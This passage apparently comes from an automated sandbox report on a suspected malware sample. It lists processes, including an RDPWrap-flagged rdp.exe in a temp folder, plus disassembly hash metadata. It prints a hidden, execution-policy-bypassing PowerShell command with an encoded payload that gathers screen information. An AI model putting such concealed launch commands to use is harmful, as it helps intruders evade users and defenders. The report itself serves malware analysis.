                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                          Imagebase:0x7ff7265a0000
                                                                                                                                          File size:875'008 bytes
                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:false

                                                                                                                                          General

                                                                                                                                          Target ID:58
                                                                                                                                          Start time:05:29:13
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\Temp\rdp.exe
                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                          Commandline:rdp.exe -i
                                                                                                                                          Imagebase:0x8f0000
                                                                                                                                          File size:2'183'168 bytes
                                                                                                                                          MD5 hash:BFF2365257251B6BA227A5E748DBD62E
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:true
                                                                                                                                          Programmed in:Borland Delphi
                                                                                                                                          Yara matches:
                                                                                                                                          • Rule: JoeSecurity_RDPWrapTool, Description: Yara detected RDPWrap Tool, Source: C:\Windows\Temp\rdp.exe, Author: Joe Security
                                                                                                                                          Antivirus matches:
                                                                                                                                          • Detection: 66%, ReversingLabs
                                                                                                                                          Has exited:false

                                                                                                                                          General

                                                                                                                                          Target ID:59
                                                                                                                                          Start time:05:29:14
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:/c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=
                                                                                                                                          Imagebase:0x7ff60ce80000
                                                                                                                                          File size:289'792 bytes
                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:false

                                                                                                                                          General

                                                                                                                                          Target ID:60
                                                                                                                                          Start time:05:29:14
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                          Imagebase:0x7ff7265a0000
                                                                                                                                          File size:875'008 bytes
                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:false

                                                                                                                                          General

                                                                                                                                          Target ID:61
                                                                                                                                          Start time:05:29:14
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=
                                                                                                                                          Imagebase:0x7ff7a7c80000
                                                                                                                                          File size:452'608 bytes
                                                                                                                                          MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                          Has elevated privileges:false
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:true

                                                                                                                                          General

                                                                                                                                          Target ID:62
                                                                                                                                          Start time:05:29:15
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\svchost.exe
                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                          Commandline:C:\Windows\System32\svchost.exe -k NetworkService -s TermService
                                                                                                                                          Imagebase:0x7ff73ed80000
                                                                                                                                          File size:57'360 bytes
                                                                                                                                          MD5 hash:F586835082F632DC8D9404D83BC16316
                                                                                                                                          Has elevated privileges:true
                                                                                                                                          Has administrator privileges:false
                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                          Has exited:false

                                                                                                                                          Disassembly

                                                                                                                                          Reset < >

                                                                                                                                            Executed Functions

                                                                                                                                            Function 00007FFC057AF1C6 Relevance: .5, Instructions: 472COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 00000002.00000002.1276760141.00007FFC057A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC057A0000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_2_2_7ffc057a0000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID:
                                                                                                                                            • API String ID:
                                                                                                                                            • Opcode ID: fc47fa4be67cc2efe2f51bbaf44c6429f46cc442c9f9c1be36346abf66d66626
                                                                                                                                            • Instruction ID: 34a99bd5c2814fea6d37e70c12adba51b95c78ab920b8e9540c2b00dcf858319
                                                                                                                                            • Opcode Fuzzy Hash: fc47fa4be67cc2efe2f51bbaf44c6429f46cc442c9f9c1be36346abf66d66626
                                                                                                                                            • Instruction Fuzzy Hash: 3AF1A234918A8D8FEBA8DF28C8557E977E1FF94310F04466EE84DC7291DB34A941CB92
                                                                                                                                            Function 00007FFC057AFF72 Relevance: .5, Instructions: 458COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 00000002.00000002.1276760141.00007FFC057A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC057A0000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_2_2_7ffc057a0000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID:
                                                                                                                                            • API String ID:
                                                                                                                                            • Opcode ID: a3e5b8d358d5e0eefb30fac9941d110e4904ba7c4c7d38f9398e9d02ce230454
                                                                                                                                            • Instruction ID: 1cca72391db709b254f0c3c497e70146017e68b3057114eb7e5cd6adca3941b6
                                                                                                                                            • Opcode Fuzzy Hash: a3e5b8d358d5e0eefb30fac9941d110e4904ba7c4c7d38f9398e9d02ce230454
                                                                                                                                            • Instruction Fuzzy Hash: 02E1C330918A4E8FEBA8DF28C8597EA77D1FF54310F04466EE80DC7291DE78A845CB91
                                                                                                                                            Function 00007FFC05F10331 Relevance: 4.2, Strings: 3, Instructions: 414COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Strings
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 00000002.00000002.1289970773.00007FFC05F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC05F10000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_2_2_7ffc05f10000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID: 8e,c$8e,c$P@c
                                                                                                                                            • API String ID: 0-4278022127
                                                                                                                                            • Opcode ID: 191916ffa07c8abe31e868b7913fc307f3c37a100ea276afc39acaf603e1c610
                                                                                                                                            • Instruction ID: 9771904dca5ad920844804bdcce855fb2367f18d562b15d0a05001364e855e91
                                                                                                                                            • Opcode Fuzzy Hash: 191916ffa07c8abe31e868b7913fc307f3c37a100ea276afc39acaf603e1c610
                                                                                                                                            • Instruction Fuzzy Hash: 8CC1F66290EAEE4FEB56973848691757FE4EF46A10B0804FBD08DC7193DD1C5C4AC366
                                                                                                                                            Function 00007FFC057AB325 Relevance: .4, Instructions: 403COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 00000002.00000002.1276760141.00007FFC057A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC057A0000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_2_2_7ffc057a0000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID:
                                                                                                                                            • API String ID:
                                                                                                                                            • Opcode ID: 8ff2f9a3d1a5db7ce2a8f690fac2134a150e267f1b51a4680fff435a45b13723
                                                                                                                                            • Instruction ID: c28e5f0e7948818cf3953bec8353d0804b68ccb72c0edd2715764f4254251a34
                                                                                                                                            • Opcode Fuzzy Hash: 8ff2f9a3d1a5db7ce2a8f690fac2134a150e267f1b51a4680fff435a45b13723
                                                                                                                                            • Instruction Fuzzy Hash: 2B31D27190DB9C9FDB1ADB68D8566E97FF0EF56320F0441AFD089C7193CA24680ACB61
                                                                                                                                            Function 00007FFC057AFB86 Relevance: .3, Instructions: 331COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 00000002.00000002.1276760141.00007FFC057A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC057A0000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_2_2_7ffc057a0000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID:
                                                                                                                                            • API String ID:
                                                                                                                                            • Opcode ID: 881773165d5b0d7c4678d9adea910c44dd452694b849550728d70a20c0d47998
                                                                                                                                            • Instruction ID: 02db00a77a15a069b189087df59c4d7dd6f2efb2c01776bced7c0d0796a67c45
                                                                                                                                            • Opcode Fuzzy Hash: 881773165d5b0d7c4678d9adea910c44dd452694b849550728d70a20c0d47998
                                                                                                                                            • Instruction Fuzzy Hash: 62B1B33451CA8D8FEB69DF28D8557E93BE1FF55310F04426EE84DC7292CA34A841CB92
                                                                                                                                            Function 00007FFC057B2C8D Relevance: .1, Instructions: 119COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 00000002.00000002.1276760141.00007FFC057A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC057A0000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_2_2_7ffc057a0000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID:
                                                                                                                                            • API String ID:
                                                                                                                                            • Opcode ID: 10bba82306bfc568794df926be16f32fdbdb909a2fedb3f60d8b7ed121fa4492
                                                                                                                                            • Instruction ID: fe0afe56e52fe6cf9c4837150b2d3a7769ce126d06cd3efc12a8dc1503f865b2
                                                                                                                                            • Opcode Fuzzy Hash: 10bba82306bfc568794df926be16f32fdbdb909a2fedb3f60d8b7ed121fa4492
                                                                                                                                            • Instruction Fuzzy Hash: 6931A47191CA4C9FDB189B5CD806AB97BE0FB99721F00422FE449D3252DB70A856CBC6
                                                                                                                                            Function 00007FFC058727E8 Relevance: .1, Instructions: 118COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 00000002.00000002.1277904940.00007FFC05870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC05870000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_2_2_7ffc05870000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID:
                                                                                                                                            • API String ID:
                                                                                                                                            • Opcode ID: 161b0d422207ff30953a17f23a046c0d82aa70753f1df7bb0b1f86634e76e16d
                                                                                                                                            • Instruction ID: 2a37c0c91f0d2ae772c6c337a4cbda8bba4e886277da00c946af33359f2d2eef
                                                                                                                                            • Opcode Fuzzy Hash: 161b0d422207ff30953a17f23a046c0d82aa70753f1df7bb0b1f86634e76e16d
                                                                                                                                            • Instruction Fuzzy Hash: 6B31F622B4CA6E4FEBA9D61C5412AB8B3D2DF54A10B1806BBC80FC3297DE15ED05C395
                                                                                                                                            Function 00007FFC057AB658 Relevance: .1, Instructions: 104COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 00000002.00000002.1276760141.00007FFC057A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC057A0000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_2_2_7ffc057a0000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID:
                                                                                                                                            • API String ID:
                                                                                                                                            • Opcode ID: bbcd2cc723ec3f2f9532143db0e429b4d236db170acc1d0ac188748f0acb6a66
                                                                                                                                            • Instruction ID: 6fde70edbc899ae8c5aaeb07fa7eeb52c4226a4a8ecab6fe8ccda9c03dd8e5c7
                                                                                                                                            • Opcode Fuzzy Hash: bbcd2cc723ec3f2f9532143db0e429b4d236db170acc1d0ac188748f0acb6a66
                                                                                                                                            • Instruction Fuzzy Hash: 9231E33190CA4C8FEB59DF98D84A6E97BE0EB9A321F04016FD04DC3292DA646846CB51
                                                                                                                                            Function 00007FFC057B3018 Relevance: .1, Instructions: 102COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 00000002.00000002.1276760141.00007FFC057A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC057A0000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_2_2_7ffc057a0000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID:
                                                                                                                                            • API String ID:
                                                                                                                                            • Opcode ID: 9b45bb6a2e8f27fa0d432d33052462fb66d971014d8cb881b9f206186a835e85
                                                                                                                                            • Instruction ID: 4002d585a6ee95452d47de3b331313c705a2f7e02adf9ff1d77aed65cba3d485
                                                                                                                                            • Opcode Fuzzy Hash: 9b45bb6a2e8f27fa0d432d33052462fb66d971014d8cb881b9f206186a835e85
                                                                                                                                            • Instruction Fuzzy Hash: 6721293190CA4C8FEB58DFACDC4A7E97BE0EB56321F04426FD049C3152DA74A44ACBA1
                                                                                                                                            Function 00007FFC057AB1B0 Relevance: .1, Instructions: 100COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 00000002.00000002.1276760141.00007FFC057A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC057A0000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_2_2_7ffc057a0000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID:
                                                                                                                                            • API String ID:
                                                                                                                                            • Opcode ID: 4ea7968975864c7c0217b0de40c07315ed800eb987b1e23d67ed2d311d08a18c
                                                                                                                                            • Instruction ID: b546ff79bd0fd65c7599e5850cc7e0400f6f6c6cd6d79fcda5986e9892ef315a
                                                                                                                                            • Opcode Fuzzy Hash: 4ea7968975864c7c0217b0de40c07315ed800eb987b1e23d67ed2d311d08a18c
                                                                                                                                            • Instruction Fuzzy Hash: 1E21E13190CA1C8FEB58DF9CC88A7B97BF0EB99321F00016ED04ED7252CA60A806CB51
                                                                                                                                            Function 00007FFC057AF684 Relevance: .1, Instructions: 92COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 00000002.00000002.1276760141.00007FFC057A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC057A0000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_2_2_7ffc057a0000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID:
                                                                                                                                            • API String ID:
                                                                                                                                            • Opcode ID: 9c10251fc3f643bd3569e1acb7da764b98397504d6e56f0a3aedfcfa01f1866d
                                                                                                                                            • Instruction ID: 5dd8a96bb61127d307d7aaf42c2d85f6f353fc7ac5d666c6eee7ac5bfae84527
                                                                                                                                            • Opcode Fuzzy Hash: 9c10251fc3f643bd3569e1acb7da764b98397504d6e56f0a3aedfcfa01f1866d
                                                                                                                                            • Instruction Fuzzy Hash: AD311E3892866DCFFBB89F18DC09BF93290FF85715F400939D44DC6192CA38694ADB21
                                                                                                                                            Function 00007FFC05F10621 Relevance: .1, Instructions: 73COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 00000002.00000002.1289970773.00007FFC05F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC05F10000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_2_2_7ffc05f10000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID:
                                                                                                                                            • API String ID:
                                                                                                                                            • Opcode ID: 48b88a43a2f51c0588531168cd9063bb258c8e1a372035fa6389f3f9e0fe15b8
                                                                                                                                            • Instruction ID: cf388ca02287b9b0deef0ee67187f3bcee63e3d7d9637553e1351d42d4419bf4
                                                                                                                                            • Opcode Fuzzy Hash: 48b88a43a2f51c0588531168cd9063bb258c8e1a372035fa6389f3f9e0fe15b8
                                                                                                                                            • Instruction Fuzzy Hash: 17214A5281E7EA4FEB5797795C6A2607FA0EF57604F0D04FAD088CB0A7ED4C184AC366
                                                                                                                                            Function 00007FFC057B828D Relevance: .1, Instructions: 56COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 00000002.00000002.1276760141.00007FFC057A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC057A0000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_2_2_7ffc057a0000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID:
                                                                                                                                            • API String ID:
                                                                                                                                            • Opcode ID: daadeb65cc4ec9e8d4ab11a67994f9ece56168f38dac4caf16e07aa9c0ed27c9
                                                                                                                                            • Instruction ID: 1b835dd5840c372f4139928d532dfc93e19439427230f1edd9f9d79b903e7620
                                                                                                                                            • Opcode Fuzzy Hash: daadeb65cc4ec9e8d4ab11a67994f9ece56168f38dac4caf16e07aa9c0ed27c9
                                                                                                                                            • Instruction Fuzzy Hash: D201D65485E6D95FEB43637818249B27FA88E8322570808EBE4D8C60A3D908095AC767
                                                                                                                                            Function 00007FFC05872818 Relevance: .1, Instructions: 51COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 00000002.00000002.1277904940.00007FFC05870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC05870000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_2_2_7ffc05870000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID:
                                                                                                                                            • API String ID:
                                                                                                                                            • Opcode ID: b7346477bee3a39e0dbba642677f254bc2309a4684d0b79535896e0a1f6c965b
                                                                                                                                            • Instruction ID: 99d449c9810544d50eb457912747580b664667fc5941369ba9bcaae3f266c7ac
                                                                                                                                            • Opcode Fuzzy Hash: b7346477bee3a39e0dbba642677f254bc2309a4684d0b79535896e0a1f6c965b
                                                                                                                                            • Instruction Fuzzy Hash: E0014926F5DE3F5FFAA9911C14126B891C2DF88A10B5C06BBC80FC3297DF19DC0A8291
                                                                                                                                            Function 00007FFC057A37B5 Relevance: .0, Instructions: 49COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 00000002.00000002.1276760141.00007FFC057A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC057A0000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_2_2_7ffc057a0000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID:
                                                                                                                                            • API String ID:
                                                                                                                                            • Opcode ID: bb41c5088c83ff3ff9212e5f6e9c405d94860b8db11be397b3e57a14267cfe5e
                                                                                                                                            • Instruction ID: 8b9142bf664844a8c641d2533cca868409e09e56e4a087b035e55e88e45c4d10
                                                                                                                                            • Opcode Fuzzy Hash: bb41c5088c83ff3ff9212e5f6e9c405d94860b8db11be397b3e57a14267cfe5e
                                                                                                                                            • Instruction Fuzzy Hash: B101677111CB0D8FD744EF0CE491AA6B7E0FB95324F10056DE58AC3651D636E892CB45
                                                                                                                                            Function 00007FFC057B2E58 Relevance: .0, Instructions: 38COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 00000002.00000002.1276760141.00007FFC057A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC057A0000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_2_2_7ffc057a0000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID:
                                                                                                                                            • API String ID:
                                                                                                                                            • Opcode ID: 1af29c2ba15575b436874cb90ba12b802bbf39c08a5e92dfd2b77577d52a26b8
                                                                                                                                            • Instruction ID: 5b1dbefe58b7668ad19f3796ee1c63330b003266fc5b9f9062ff9ad71f03065f
                                                                                                                                            • Opcode Fuzzy Hash: 1af29c2ba15575b436874cb90ba12b802bbf39c08a5e92dfd2b77577d52a26b8
                                                                                                                                            • Instruction Fuzzy Hash: 8EF0E93480868D8FDB06DF3888495D57FF0EF26210B05029BE459C7162DB759459CBD2
                                                                                                                                            Function 00007FFC057B588D Relevance: .0, Instructions: 17COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 00000002.00000002.1276760141.00007FFC057A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC057A0000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_2_2_7ffc057a0000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID:
                                                                                                                                            • API String ID:
                                                                                                                                            • Opcode ID: 5f662dbe4b2448f42701def6d62c5a74b530d72585888b69915970e619b21e0d
                                                                                                                                            • Instruction ID: f24d7731813395a6ab7975b815c43b2a04aaa4c16f886c94f354c60290e7a20b
                                                                                                                                            • Opcode Fuzzy Hash: 5f662dbe4b2448f42701def6d62c5a74b530d72585888b69915970e619b21e0d
                                                                                                                                            • Instruction Fuzzy Hash: CDC01273E2C5384E7A08A14CB8031FCA390EA81530A100837E24AC1402BA262027999A

                                                                                                                                            Non-executed Functions

                                                                                                                                            Function 00007FFC057B6805 Relevance: 17.9, Strings: 14, Instructions: 364COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Strings
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 00000002.00000002.1276760141.00007FFC057A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC057A0000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_2_2_7ffc057a0000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID: 8m#$(8m#$08m#$88m#$@8m#$H8m#$P8m#$X8m#$`8m#$h8m#$p8m#$x8m#$7m#$7m#
                                                                                                                                            • API String ID: 0-3134577001
                                                                                                                                            • Opcode ID: 8b23e503e1145a5658b6702beabdb3fb50732d9e46c5cb314754dec5bc207ceb
                                                                                                                                            • Instruction ID: 1b934c9fa57bdfc7ab5250067d86716caa617e674517684e7dee9c465575ab24
                                                                                                                                            • Opcode Fuzzy Hash: 8b23e503e1145a5658b6702beabdb3fb50732d9e46c5cb314754dec5bc207ceb
                                                                                                                                            • Instruction Fuzzy Hash: 6CD14A71B1885DEBFB44EB98E096BA973A1EF48314F6850B5E40DDB383CD64E801CB25
                                                                                                                                            Function 00007FFC057B13A8 Relevance: 4.3, Strings: 3, Instructions: 598COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Strings
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 00000002.00000002.1276760141.00007FFC057A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC057A0000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_2_2_7ffc057a0000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID: /N_I$2N_I$3N_I
                                                                                                                                            • API String ID: 0-4154349008
                                                                                                                                            • Opcode ID: cc39c0c9b75d4206c55e770c5197be9eb5189c141972c1148a400de24d7a66d3
                                                                                                                                            • Instruction ID: 997a71e517f53088df91fcf424ee3bebc795a619bd47a5381d1e832cbee7d670
                                                                                                                                            • Opcode Fuzzy Hash: cc39c0c9b75d4206c55e770c5197be9eb5189c141972c1148a400de24d7a66d3
                                                                                                                                            • Instruction Fuzzy Hash: 1702B9C2E1E9D14BFB1682AC28683355FB1EF52A70BDC09FBC084C749F98149D46D799
                                                                                                                                            Function 00007FFC057B0EF0 Relevance: 1.8, Strings: 1, Instructions: 540COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Strings
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 00000002.00000002.1276760141.00007FFC057A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC057A0000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_2_2_7ffc057a0000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID: t3Q
                                                                                                                                            • API String ID: 0-2426455464
                                                                                                                                            • Opcode ID: b7b7997ab85ab15eeec4574bad818eeb99699f7fb649a450be030a6fcb73ad08
                                                                                                                                            • Instruction ID: 556e32509bf39cb0473aae271a2af9f9e85d133f181c77dcb9faddecc99bcd71
                                                                                                                                            • Opcode Fuzzy Hash: b7b7997ab85ab15eeec4574bad818eeb99699f7fb649a450be030a6fcb73ad08
                                                                                                                                            • Instruction Fuzzy Hash: 00022CC2E1DAE64FFB16826C68653757FE0EF52724B8808FBC088C70DF98449846D799
                                                                                                                                            Function 00007FFC05876E28 Relevance: 5.2, Strings: 4, Instructions: 223COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Strings
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 00000002.00000002.1277904940.00007FFC05870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC05870000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_2_2_7ffc05870000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID: }$c$ }$c$ }$c$n
                                                                                                                                            • API String ID: 0-2055016570
                                                                                                                                            • Opcode ID: 205ef33d632a5e692c60738f59e366a375ccc2ba6f29f7da39de19f3d366b37e
                                                                                                                                            • Instruction ID: 30f3ee58b91db6248efdafb5d1823993d2496fb9bff265ed232d6893e7737f16
                                                                                                                                            • Opcode Fuzzy Hash: 205ef33d632a5e692c60738f59e366a375ccc2ba6f29f7da39de19f3d366b37e
                                                                                                                                            • Instruction Fuzzy Hash: 3951A96290DADE0FE746977888555B17FE1EF56660B0805FFC48CCB1E3E9089D4AC362
                                                                                                                                            Function 00007FFC05876ECD Relevance: 5.1, Strings: 4, Instructions: 115COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Strings
                                                                                                                                            Memory Dump Source
